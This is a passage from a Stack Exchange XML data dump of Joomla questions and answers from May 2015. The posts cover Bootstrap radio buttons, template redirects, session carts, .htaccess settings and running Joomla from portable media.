value=&amp;quot;1&amp;quot;&amp;gt;&#xA;    &amp;lt;label for=&amp;quot;jform_field_19_1&amp;quot;&amp;gt;Yes&amp;lt;/label&amp;gt;&#xA;    &#xA;    &amp;lt;input type=&amp;quot;radio&amp;quot; id=&amp;quot;jform_field_19_0&amp;quot; name=&amp;quot;jform[field_19]&amp;quot; value=&amp;quot;0&amp;quot;&amp;gt;&#xA;    &amp;lt;label for=&amp;quot;jform_field_19_0&amp;quot;&amp;gt;No&amp;lt;/label&amp;gt;&#xA;    &#xA;    &amp;lt;input type=&amp;quot;radio&amp;quot; id=&amp;quot;jform_field_19_2&amp;quot; name=&amp;quot;jform[field_19]&amp;quot; value=&amp;quot;2&amp;quot;&amp;gt;&#xA;    &amp;lt;label for=&amp;quot;jform_field_19_2&amp;quot;&amp;gt;Maybe&amp;lt;/label&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;&lt;p&gt;The above code just showing the 3 options like labels one below the other and not grouped.  If I removed the class btn-group then it shows like a standard radio button.&lt;/p&gt;&#xA;&lt;p&gt;How can I show the radio button like bootstrap using AJAX?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="168" LastEditDate="2023-11-01T07:57:08.197" LastActivityDate="2023-11-01T07:57:08.197" Title="Loading bootstrap radio button via AJAX" Tags="|joomla-3.4|bootstrap|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="9773" PostTypeId="2" ParentId="9772" CreationDate="2015-05-03T03:34:55.630" Score="2" Body="&lt;p&gt;If you are loading your form in Joomla administrator (using Isis), use the below code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset id=&quot;jform_field_19&quot; class=&quot;radio btn-group btn-group-yesno&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise you need to add custom css code such as below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.radio.btn-group input[type=radio] {&#xA;    display: none;&#xA;}&#xA;.radio.btn-group &amp;gt; label:first-of-type {&#xA;    margin-left: 0;&#xA;    -webkit-border-bottom-left-radius: 4px;&#xA;    border-bottom-left-radius: 4px;&#xA;    -webkit-border-top-left-radius: 4px;&#xA;    border-top-left-radius: 4px;&#xA;    -moz-border-radius-bottomleft: 4px;&#xA;    -moz-border-radius-topleft: 4px;&#xA;}&#xA;fieldset.radio.btn-group {&#xA;    padding-left: 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the JavaScript you need to add to toggle the styling like buttons&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.radio.btn-group label').addClass('btn');&#xA;$('.btn-group label:not(.active)').click(function()&#xA;{&#xA;    var label = $(this);&#xA;    var input = $('#' + label.attr('for'));&#xA;&#xA;    if (!input.prop('checked')) {&#xA;        label.closest('.btn-group').find('label').removeClass('active btn-success btn-danger btn-primary');&#xA;        if (input.val() == '') {&#xA;            label.addClass('active btn-primary');&#xA;        } else if (input.val() == 0) {&#xA;            label.addClass('active btn-danger');&#xA;        } else {&#xA;            label.addClass('active btn-success');&#xA;        }&#xA;        input.prop('checked', true);&#xA;        input.trigger('change');&#xA;    }&#xA;});&#xA;$('.btn-group input[checked=checked]').each(function()&#xA;{&#xA;    if ($(this).val() == '') {&#xA;        $('label[for=' + $(this).attr('id') + ']').addClass('active btn-primary');&#xA;    } else if ($(this).val() == 0) {&#xA;        $('label[for=' + $(this).attr('id') + ']').addClass('active btn-danger');&#xA;    } else {&#xA;        $('label[for=' + $(this).attr('id') + ']').addClass('active btn-success');&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2015-05-03T11:46:43.447" LastActivityDate="2015-05-03T11:46:43.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9774" PostTypeId="2" ParentId="9754" CreationDate="2015-05-03T15:51:28.660" Score="0" Body="&lt;p&gt;This could be related to your &lt;code&gt;.htaccess&lt;/code&gt; file. Check if this file has something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /joomla30&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inside. Also make sure Joomla is installed in the root directory of your domain, and not in a subdirectory. &lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2015-05-03T15:51:28.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9775" PostTypeId="2" ParentId="9720" CreationDate="2015-05-03T15:58:15.423" Score="1" Body="&lt;p&gt;Here's a couple of things you can try:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Check the &lt;code&gt;$live_site&lt;/code&gt; variable in your &lt;code&gt;configuration.php&lt;/code&gt; file to see if it has a reference to an non-https url.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check if your &lt;code&gt;.htaccess&lt;/code&gt; file has some custom rewrite rules that covers CSS files and images.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Look at the source code of your live site and see how the URL is generated.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want to develop your own plugin, you should take a look at the following site: &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2015-05-03T15:58:15.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9777" PostTypeId="1" CreationDate="2015-05-03T21:08:56.813" Score="0" ViewCount="143" Body="&lt;p&gt;I have a build script that watches the files in the component for activity, and automatically zips up the component, and overwrites the existing zip. I still have to manually go to the admin interface and install the component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This as most of you probably know, takes a little time, that adds up considerably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to script the component installation process, so that I don't have to do this. I'm hoping to avoid having to script a scraper to open the page and go through the process, as this seems a bit heavy-handed to me.&lt;/p&gt;&#xA;" OwnerUserId="4143" LastActivityDate="2015-05-03T21:08:56.813" Title="Is there a way to automate component installation in a build script?" Tags="|joomla-3.x|component|extensions|external-script|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9778" PostTypeId="1" CreationDate="2015-05-04T01:51:56.043" Score="2" ViewCount="209" Body="&lt;p&gt;i'm trying to include a php library into my component front-end, however, when i try to declare a object, it shows error: class not found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is some code: (in model)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(JPATH_COMPONENT_SITE.'/assets/php/phplibrary.php');&#xA;     $myclass = new myclass('databaseT');&#xA;     $response = $myclass-&amp;gt;request('form data');&#xA;&#xA;     return $response;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please help&lt;/p&gt;&#xA;" OwnerUserId="4101" LastActivityDate="2015-05-04T01:51:56.043" Title="Joomla component include php library, not working" Tags="|joomla-3.x|component|php|" AnswerCount="0" CommentCount="3" ClosedDate="2015-05-04T18:27:34.097" ContentLicense="CC BY-SA 3.0" />
  <row Id="9779" PostTypeId="1" AcceptedAnswerId="9780" CreationDate="2015-05-04T03:36:29.357" Score="3" ViewCount="106" Body="&lt;p&gt;Please bear with me, I am pretty new to Joomla, and I only have a slightly operational knowledge of web design. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here's what I want to do; Our church streams our sermons every sunday morning from about 10:30 to about 12:30. I want to redirect all pages under our domain (with the exception of the admin page) to the live stream url. I know it's probably just a matter of throwing together a script, but I lack the proficiency to do so from scratch. If someone could just get me started, I think I could tweak whatever parameters I need to to make it do what I want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5182" LastActivityDate="2015-05-04T04:22:24.033" Title="Redirect domain during certain time of the week" Tags="|redirect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9780" PostTypeId="2" ParentId="9779" CreationDate="2015-05-04T04:22:24.033" Score="1" Body="&lt;p&gt;Maybe not the most elegant solution, but you can add the following code to the beginning of your templates &lt;code&gt;index.php&lt;/code&gt; file (located in &lt;code&gt;ROOT/templates/YOURTEMPLATE/index.php&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $hour = date('G');&#xA;    $minute = date('i');&#xA;    $day = date('w');&#xA;    $m = $hour * 60 + $minute; // Minutes since midnight.&#xA;    if(&#xA;      $day == 0 // Sunday...&#xA;      &amp;amp;&amp;amp; $m &amp;gt;= 630 // ... after 10:30…&#xA;      &amp;amp;&amp;amp; $m &amp;lt;= 750 // ... but before 12:30…&#xA;    ) header(&quot;Location: http://example.com&quot;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should redirect all your visitors to &lt;code&gt;http://example.com&lt;/code&gt; every Sunday between 10:30 and 12:30.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that PHP is a server side language, so you might have to compensate for timezones depending on your PHP time/date settings and your actual location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;(Code modified from &lt;a href=&quot;https://stackoverflow.com/questions/10289625/php-redirect-on-exact-date&quot;&gt;this post&lt;/a&gt;.)&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-05-04T04:22:24.033" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9781" PostTypeId="1" CreationDate="2015-05-04T08:53:34.920" Score="2" ViewCount="102" Body="&lt;p&gt;hello all just now i create &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;getinfo($id=null){ return $xyz; } function in model&lt;/li&gt;&#xA;&lt;li&gt;calling above function using $this-&gt;xyz=$this-&gt;get('info'); in view.html.php file so will be used by info layout &lt;/li&gt;&#xA;&lt;li&gt;now info layout will called as 'index.php?option=com_student&amp;amp;view=student&amp;amp;layout=info&amp;amp;id=3'&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;now when i call the info layout using above url the id argument of getinfo method in model automatically populated with the id i supplied in url how joomla doing this  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;i think there is something that I'm missing &lt;/p&gt;&#xA;" OwnerUserId="3553" LastActivityDate="2015-05-07T16:54:20.240" Title="How functions arguments of model automatically populated" Tags="|joomla-3.x|joomla-2.5|joomla-3.3.x|joomla-api|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9782" PostTypeId="1" AcceptedAnswerId="9783" CreationDate="2015-05-04T11:56:07.783" Score="2" ViewCount="4790" Body="&lt;p&gt;I've my custom task = request.state&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in my controller, I've code like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function state($param)&#xA;{&#xA;     //Do my task&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is how do I pass $param to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla.submitbutton(request.state)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-05-04T13:33:12.483" Title="Pass parameter to Joomla.submitbutton(task)" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9783" PostTypeId="2" ParentId="9782" CreationDate="2015-05-04T12:53:35.440" Score="3" Body="&lt;p&gt;In general you override Joomla.submitbutton in your view's php file, set a hidden fields value to the request parameter you wish to send, then finally submit the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So say your admin view's template has a field&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; id=&quot;myinfo&quot; value=&quot;&quot; &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you would add some JavaScript to the view's template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;Joomla.submitbutton = function(task) {&#xA;    jQuery('#myInfo').val('my custom value');&#xA;    Joomla.submitform(task, jQuery('#adminForm'));&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then your request's $_POST array will have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[myInfo] =&amp;gt; 'my custom value'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1912" LastActivityDate="2015-05-04T12:53:35.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9784" PostTypeId="2" ParentId="9782" CreationDate="2015-05-04T13:33:12.483" Score="2" Body="&lt;p&gt;@Rob - Thank you very much for your help. However, your method did not work for me. Here's how I made it work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my view layout file (default.php):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added one hidden state field with blank code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;state&quot; value=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my JS file I added following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#cancel-request').click(function () {&#xA;if (confirm(&quot;Are you sure?&quot;))&#xA;            {&#xA;                $(&quot;input[name='state']&quot;).val('cancel');&#xA;                Joomla.submitbutton('request.state');&#xA;            }&#xA;            else&#xA;            {&#xA;                return false;&#xA;            }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my controller, I added following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function state()&#xA;{&#xA;     $state = $this-&amp;gt;input-&amp;gt;post-&amp;gt;get('state', '');&#xA;     // based on $state I made my code.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-05-04T13:33:12.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9786" PostTypeId="2" ParentId="8915" CreationDate="2015-05-04T16:51:20.487" Score="0" Body="&lt;p&gt;According to &lt;a href=&quot;https://www.gavick.com/forums/bike-store/updating-bike-store-to-joomla-3-x-and-vm-3-x-42732&quot; rel=&quot;nofollow&quot;&gt;this quite long tread&lt;/a&gt; from the GK Forums, the template has been updated with a Joomla 3/VM3-compatible version (just scroll down almost to the bottom):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Yes. Bike store form J3.x and VM3.x was released 2 days ago&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That way you can install the J3-compatible template and run your site using the latest Joomla and VM versions (unless you've already found another solution to your problem :)&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-05-04T16:51:20.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9788" PostTypeId="2" ParentId="4033" CreationDate="2015-05-05T07:21:59.820" Score="0" Body="&lt;p&gt;Just declare a &lt;code&gt;$view_list&lt;/code&gt; variable at your &lt;code&gt;JControllerForm&lt;/code&gt; equal to your prefer  view name (view folder normally) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected $view_list = 'message';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and all your form event will redirect to it, unless you specifiably declare equivalent functions as David Fritsch suggests! &#xA;Best solutions are the simplest!:)&lt;/p&gt;&#xA;" OwnerUserId="5189" LastEditorUserId="168" LastEditDate="2015-05-05T10:04:21.847" LastActivityDate="2015-05-05T10:04:21.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9789" PostTypeId="1" CreationDate="2015-05-05T07:32:08.883" Score="1" ViewCount="1074" Body="&lt;p&gt;I'm developing a component require to use a management software api, which is using curl to accessing the data in that software.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it seems joomla restrict the curl access, because the api working fine without the joomla. When in joomla it show the error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 1 Curl error: Protocol &quot; https&quot; not supported or disabled in libcurl &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after some research on google, i found joomla may only accept curl request sending from JHttpTransportCurl. Please advice relate tutorial or example of how to using JHttpTransportCurl  class.&lt;/p&gt;&#xA;" OwnerUserId="4101" LastActivityDate="2015-05-05T17:30:23.487" Title="Joomla3.x component curl JHttpTransportCurl" Tags="|joomla-3.x|php|curl|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9790" PostTypeId="2" ParentId="5551" CreationDate="2015-05-05T09:37:40.760" Score="3" Body="&lt;p&gt;I had this problem. I simply used: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DROP TABLE xxxxx.updates&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;followed by&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE IF NOT EXISTS `XXXXX_updates` (&#xA;  `update_id` int(11) NOT NULL AUTO_INCREMENT,&#xA;  `update_site_id` int(11) DEFAULT 0,&#xA;  `extension_id` int(11) DEFAULT 0,&#xA;  `name` varchar(100) DEFAULT '',&#xA;  `description` text NOT NULL,&#xA;  `element` varchar(100) DEFAULT '',&#xA;  `type` varchar(20) DEFAULT '',&#xA;  `folder` varchar(20) DEFAULT '',&#xA;  `client_id` tinyint(3) DEFAULT 0,&#xA;  `version` varchar(32) DEFAULT '',&#xA;  `data` text NOT NULL,&#xA;  `detailsurl` text NOT NULL,&#xA;  `infourl` text NOT NULL,&#xA;  `extra_query` varchar(1000) DEFAULT '',&#xA;  PRIMARY KEY (`update_id`)&#xA;) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Available Updates';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace the phrase &lt;code&gt;XXXXX&lt;/code&gt; with your own string&lt;/p&gt;&#xA;" OwnerUserId="5190" LastEditorUserId="168" LastEditDate="2015-05-05T10:03:51.197" LastActivityDate="2015-05-05T10:03:51.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9791" PostTypeId="1" AcceptedAnswerId="9793" CreationDate="2015-05-05T09:59:49.860" Score="2" ViewCount="825" Body="&lt;p&gt;I use the following code to pass an array to session:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$input = $app-&amp;gt;input;&#xA;$itemid = $input-&amp;gt;get('id');&#xA;$quan = $input-&amp;gt;get('quan');&#xA;$session = JFactory::getSession();&#xA;$cart = array();&#xA;$cart['items'][] = array('id' =&amp;gt; $itemid, 'quan' =&amp;gt; $quan);&#xA;$session-&amp;gt;set('cart', $cart);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It passes data of one item successfully, but when I try to add one more item to the session the code doesn't add it as a new item but overwrites existed item by new item. How to resolve the problem?&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="4042" LastEditDate="2015-05-05T11:01:01.540" LastActivityDate="2015-05-05T11:01:01.540" Title="How to pass an array to Joomla session correctly" Tags="|joomla-3.x|joomla-api|session|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9793" PostTypeId="2" ParentId="9791" CreationDate="2015-05-05T11:00:59.053" Score="1" Body="&lt;p&gt;Just get your existing data from session, modify it and push it back into the session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cart = array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cart = $session-&amp;gt;get('cart', array());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-05-05T11:00:59.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9794" PostTypeId="1" CreationDate="2015-05-05T11:01:38.790" Score="3" ViewCount="347" Body="&lt;p&gt;How to run Joomla like desktop software/.exe file?&#xA;I want to use Joomla to make a medical software like MKSAP and SESAP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to pack and run Joomla with local server from .iso like a desktop software? Please provide links to tutorials. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5191" LastActivityDate="2020-04-19T09:00:46.560" Title="How to run Joomla with local webserver like desktop software/.exe file?" Tags="|joomla-3.x|module-display|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9795" PostTypeId="1" AcceptedAnswerId="9808" CreationDate="2015-05-05T11:36:08.053" Score="3" ViewCount="571" Body="&lt;p&gt;I work on a number of Joomla sites for clients, across multiple (differing) hosting environments. This can be a pain when troubleshooting as some of the hosts are running old versions of PHP (5.2) and some are on the latest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I face an issue I like to download a copy of the website to my localhost environment &lt;code&gt;(Apache/2.4.3 (Win32) PHP/5.4.7)&lt;/code&gt; and work from there. However in order to mirror the hosts environment I would need to change (downgrade) my PHP version also, right? &lt;strong&gt;How&lt;/strong&gt; should I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently working on a Joomla (3.3.0) site now where the host is running PHP 5.3.28 &lt;em&gt;(which has stopped receiving security updates since Thursday, 14 August 2014)&lt;/em&gt;. I would like my local environment to mirror this for testing purposes (upgrading components, plugins etc..).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried adding this line into my &lt;code&gt;.htaccess&lt;/code&gt; however it doesn't seem to be changing anything. My Joomla &gt; System Info &gt; PHP Info still shows that I'm running &lt;code&gt;PHP Version 5.4.7&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AddHandler application/x-httpd-php5 .php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've restarted Apache etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps I am doing something wrong, or if there is a more efficient way of doing what I would like I'd be open to suggestions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My local Joomla websites are each in their own directory as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;localhost/site1&#xA;localhost/site2&#xA;localhost/site3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2015-05-05T19:44:46.633" Title="Joomla and PHP versions" Tags="|joomla-3.x|php|.htaccess-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9798" PostTypeId="1" AcceptedAnswerId="9804" CreationDate="2015-05-05T14:34:13.363" Score="2" ViewCount="636" Body="&lt;p&gt;I'm developing a module for displaying products that are added to Joomla session. The products are being added to the session by using the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$input = $app-&amp;gt;input;&#xA;$itemid = $input-&amp;gt;get('itemid');&#xA;$quan = $input-&amp;gt;get('quan');&#xA;$session = JFactory::getSession();&#xA;$cart = $session-&amp;gt;get('cart', array());&#xA;$cart['items'][] = array('itemid' =&amp;gt; $itemid, 'quan' =&amp;gt; $quan);&#xA;$session-&amp;gt;set('cart', $cart);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I can get these products for displaying by using the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cart_result = $session-&amp;gt;get('cart');&#xA;$keys = array_keys($cart_result);&#xA;$tmp = array_values($cart_result);&#xA;$count = count(array_shift($tmp));&#xA;for ($i = 0; $i&amp;lt;$count; $i++) &#xA;{&#xA;    $results = array();&#xA;    foreach ($keys as $key) &#xA;    {&#xA;        $results[$key] = $cart_result[$key][$i];&#xA;    }&#xA;    foreach ($results as $result)&#xA;    {&#xA;        echo $result['itemid'];&#xA;        echo $result['quan'];&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That works perfectly. But I need to display the products as names and prices that are retrieved from the DB with quantities that are stored in the session. So in &lt;strong&gt;mod_mymodule/helper.php&lt;/strong&gt; I need something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;$ids = array();&#xA;foreach ($results as $result)&#xA;{&#xA;    $ids[] = $result['itemid'];&#xA;}&#xA;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('name','price')))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__products'))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('id').&quot; IN (&quot;.implode(',', $ids).&quot;)&quot;);&#xA;$db-&amp;gt;setQuery($query);&#xA;$items = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;code&gt;return $items;&lt;/code&gt; but including quantities i.e. with &lt;code&gt;$result['quan'];&lt;/code&gt; and to display in &lt;strong&gt;mod_mymodule/tmpl/default.php&lt;/strong&gt; like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($items as $item) {&#xA;    echo $item-&amp;gt;name.$item-&amp;gt;price.$item-&amp;gt;quan;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, even when I display products without quantities by using the above query I get only the last product instead of all the products that are stored in the session. So I have two problems: I don't know how to display ALL the products and how to display them with quantities from the session.&lt;/p&gt;&#xA;" OwnerUserId="4042" LastActivityDate="2015-05-06T03:19:25.697" Title="Join data from session with sql-query and display in module" Tags="|joomla-3.x|development|module|joomla-api|session|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9799" PostTypeId="2" ParentId="9794" CreationDate="2015-05-05T14:34:24.393" Score="4" Body="&lt;p&gt;Actually, it &lt;em&gt;is&lt;/em&gt; possible to run a local web server from a portable media, even write-protected media like CD and DVD. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several alternatives, both free and commercial, but you have to check if the specifications are compatible with Joomla.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.server2go-web.de/&quot; rel=&quot;nofollow&quot;&gt;Server2Go&lt;/a&gt; (free)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.dwebpro.com/download&quot; rel=&quot;nofollow&quot;&gt;DWebPro&lt;/a&gt; (free for non-commercial use). Tutorials for several common web applications can be found &lt;a href=&quot;http://www.dwebpro.com/howto&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://stunnix.com/prod/aws/overview.shtml&quot; rel=&quot;nofollow&quot;&gt;Stunnix Advanced Web server&lt;/a&gt; (commercial).&lt;/li&gt;&#xA;&lt;li&gt;XAMPP lite - probably won't work on read-only devices like CD and DVD, but a tutorial can be found &lt;a href=&quot;http://www.howtogeek.com/howto/14998/turn-your-flash-drive-into-a-portable-web-server/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As for user-friendliness of such an application, I'm not entirely convinced. Why not create an .exe-file that opens the browser with your live site, or wrap it in an iframe inside your software, as @Lodder suggested? It would probably be easier to use and to update, unless you need to use this somewhere without an internet connection.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-05-05T14:34:24.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9800" PostTypeId="2" ParentId="9794" CreationDate="2015-05-05T14:37:34.837" Score="1" Body="&lt;p&gt;Only self-executable solution I heard of is Joomlas2Go! &lt;a href=&quot;http://www.joomlas2go.net/&quot; rel=&quot;nofollow&quot;&gt;http://www.joomlas2go.net/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2015-05-05T14:37:34.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
